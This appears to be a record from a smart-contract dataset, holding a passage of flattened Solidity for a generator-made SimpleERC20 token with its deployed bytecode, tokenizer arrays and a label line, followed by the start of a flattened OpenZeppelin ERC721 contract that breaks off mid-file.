memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5.05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); unchecked { _approve(sender, _msgSender(), currentAllowance - amount); } return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); unchecked { _approve(_msgSender(), spender, currentAllowance - subtractedValue); } return true; } /** * @dev Moves `amount` of tokens from `sender` to `recipient`. * * This internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); unchecked { _balances[sender] = senderBalance - amount; } _balances[recipient] += amount; emit Transfer(sender, recipient, amount); _afterTokenTransfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); _afterTokenTransfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); unchecked { _balances[account] = accountBalance - amount; } _totalSupply -= amount; emit Transfer(account, address(0), amount); _afterTokenTransfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} /** * @dev Hook that is called after any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * has been transferred to `to`. * - when `from` is zero, `amount` tokens have been minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens have been burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _afterTokenTransfer( address from, address to, uint256 amount ) internal virtual {} } // File: contracts/service/ServicePayer.sol pragma solidity ^0.8.0; interface IPayable { function pay(string memory serviceName) external payable; } /** * @title ServicePayer * @dev Implementation of the ServicePayer */ abstract contract ServicePayer { constructor(address payable receiver, string memory serviceName) payable { IPayable(receiver).pay{value: msg.value}(serviceName); } } // File: contracts/utils/GeneratorCopyright.sol pragma solidity ^0.8.0; /** * @title GeneratorCopyright * @author ERC20 Generator (https://vittominacori.github.io/erc20-generator) * @dev Implementation of the GeneratorCopyright */ contract GeneratorCopyright { string private constant _GENERATOR = "https://vittominacori.github.io/erc20-generator"; string private _version; constructor(string memory version_) { _version = version_; } /** * @dev Returns the token generator tool. */ function generator() public pure returns (string memory) { return _GENERATOR; } /** * @dev Returns the token generator version. */ function version() public view returns (string memory) { return _version; } } // File: contracts/token/ERC20/SimpleERC20.sol pragma solidity ^0.8.0; /** * @title SimpleERC20 * @author ERC20 Generator (https://vittominacori.github.io/erc20-generator) * @dev Implementation of the SimpleERC20 */ contract SimpleERC20 is ERC20, ServicePayer, GeneratorCopyright("v5.2.0") { constructor( string memory name_, string memory symbol_, uint256 initialBalance_, address payable feeReceiver_ ) payable ERC20(name_, symbol_) ServicePayer(feeReceiver_, "SimpleERC20") { require(initialBalance_ > 0, "SimpleERC20: supply cannot be zero"); _mint(_msgSender(), initialBalance_); } }
0x608060405234801561001057600080fd5b50600436106100cf5760003560e01c806354fd4d501161008c57806395d89b411161006657806395d89b4114610195578063a457c2d71461019d578063a9059cbb146101b0578063dd62ed3e146101c357600080fd5b806354fd4d501461015c57806370a08231146101645780637afa1eed1461018d57600080fd5b806306fdde03146100d4578063095ea7b3146100f257806318160ddd1461011557806323b872dd14610127578063313ce5671461013a5780633950935114610149575b600080fd5b6100dc6101fc565b6040516100e9919061083d565b60405180910390f35b610105610100366004610813565b61028e565b60405190151581526020016100e9565b6002545b6040519081526020016100e9565b6101056101353660046107d7565b6102a4565b604051601281526020016100e9565b610105610157366004610813565b610353565b6100dc61038f565b610119610172366004610782565b6001600160a01b031660009081526020819052604090205490565b6100dc61039e565b6100dc6103be565b6101056101ab366004610813565b6103cd565b6101056101be366004610813565b610466565b6101196101d13660046107a4565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b60606003805461020b906108b8565b80601f0160208091040260200160405190810160405280929190818152602001828054610237906108b8565b80156102845780601f1061025957610100808354040283529160200191610284565b820191906000526020600020905b81548152906001019060200180831161026757829003601f168201915b5050505050905090565b600061029b338484610473565b50600192915050565b60006102b1848484610597565b6001600160a01b03841660009081526001602090815260408083203384529091529020548281101561033b5760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084015b60405180910390fd5b6103488533858403610473565b506001949350505050565b3360008181526001602090815260408083206001600160a01b0387168452909152812054909161029b91859061038a908690610892565b610473565b60606005805461020b906108b8565b60606040518060600160405280602f81526020016108f4602f9139905090565b60606004805461020b906108b8565b3360009081526001602090815260408083206001600160a01b03861684529091528120548281101561044f5760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b6064820152608401610332565b61045c3385858403610473565b5060019392505050565b600061029b338484610597565b6001600160a01b0383166104d55760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610332565b6001600160a01b0382166105365760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610332565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166105fb5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610332565b6001600160a01b03821661065d5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610332565b6001600160a01b038316600090815260208190526040902054818110156106d55760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b6064820152608401610332565b6001600160a01b0380851660009081526020819052604080822085850390559185168152908120805484929061070c908490610892565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161075891815260200190565b60405180910390a350505050565b80356001600160a01b038116811461077d57600080fd5b919050565b60006020828403121561079457600080fd5b61079d82610766565b9392505050565b600080604083850312156107b757600080fd5b6107c083610766565b91506107ce60208401610766565b90509250929050565b6000806000606084860312156107ec57600080fd5b6107f584610766565b925061080360208501610766565b9150604084013590509250925092565b6000806040838503121561082657600080fd5b61082f83610766565b946020939093013593505050565b600060208083528351808285015260005b8181101561086a5785810183015185820160400152820161084e565b8181111561087c576000604083870101525b50601f01601f1916929092016040019392505050565b600082198211156108b357634e487b7160e01b600052601160045260246000fd5b500190565b600181811c908216806108cc57607f821691505b602082108114156108ed57634e487b7160e01b600052602260045260246000fd5b5091905056fe68747470733a2f2f766974746f6d696e61636f72692e6769746875622e696f2f65726332302d67656e657261746f72a2646970667358221220a398ccb4b8ea3f8168f4bca5a36e5a8a694cd1f42d58a7055f6cdbc0a5012ccf64736f6c63430008070033
{"success": true, "error": null, "results": {}}
true
null
{}
[ 101, 1014, 2595, 2683, 2629, 9818, 2063, 2581, 2475, 7959, 27531, 29345, 2683, 21472, 2497, 2629, 11329, 2620, 2509, 4215, 2683, 20842, 16068, 2094, 2581, 20958, 2487, 2050, 2683, 2620, 23777, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 1013, 1008, 1008, 19204, 2038, 2042, 7013, 2478, 16770, 1024, 1013, 1013, 6819, 9284, 22311, 27108, 2072, 1012, 21025, 2705, 12083, 1012, 22834, 1013, 9413, 2278, 11387, 1011, 13103, 1013, 1008, 1008, 3602, 1024, 1000, 3206, 3120, 3642, 20119, 1006, 2714, 2674, 1007, 1000, 2965, 2008, 2023, 19204, 2003, 2714, 2000, 2060, 19204, 2015, 7333, 1008, 2478, 1996, 2168, 13103, 1012, 2009, 2003, 2025, 2019, 3277, 1012, 2009, 2965, 2008, 2017, 2180, 1005, 1056, 2342, 2000, 20410, 2115, 3120, 3642, 2138, 1997, 1008, 2009, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
58,807
0x95bd30fffe1937dafbea3d2316379e1223936ad7
// Sources flattened with hardhat v2.9.3 https://hardhat.org // File @openzeppelin/contracts/utils/introspection/IERC165.sol@v4.5.0 // OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // File @openzeppelin/contracts/token/ERC721/IERC721.sol@v4.5.0 // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol) pragma solidity ^0.8.0; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // File @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol@v4.5.0 // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol) pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // File @openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol@v4.5.0 // OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol) pragma solidity ^0.8.0; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // File @openzeppelin/contracts/utils/Address.sol@v4.5.0 // OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol) pragma solidity ^0.8.1; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== * * [IMPORTANT] * ==== * You shouldn't rely on `isContract` to protect against flash loan attacks! * * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract * constructor. * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize/address.code.length, which returns 0 // for contracts in construction, since the code is only stored at the end // of the constructor execution. return account.code.length > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File @openzeppelin/contracts/utils/Context.sol@v4.5.0 // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // File @openzeppelin/contracts/utils/Strings.sol@v4.5.0 // OpenZeppelin Contracts v4.4.1 (utils/Strings.sol) pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // File @openzeppelin/contracts/utils/introspection/ERC165.sol@v4.5.0 // OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol) pragma solidity ^0.8.0; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // File @openzeppelin/contracts/token/ERC721/ERC721.sol@v4.5.0 // OpenZeppelin Contracts (last updated v4.5.0) (token/ERC721/ERC721.sol) pragma solidity ^0.8.0; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { _setApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token 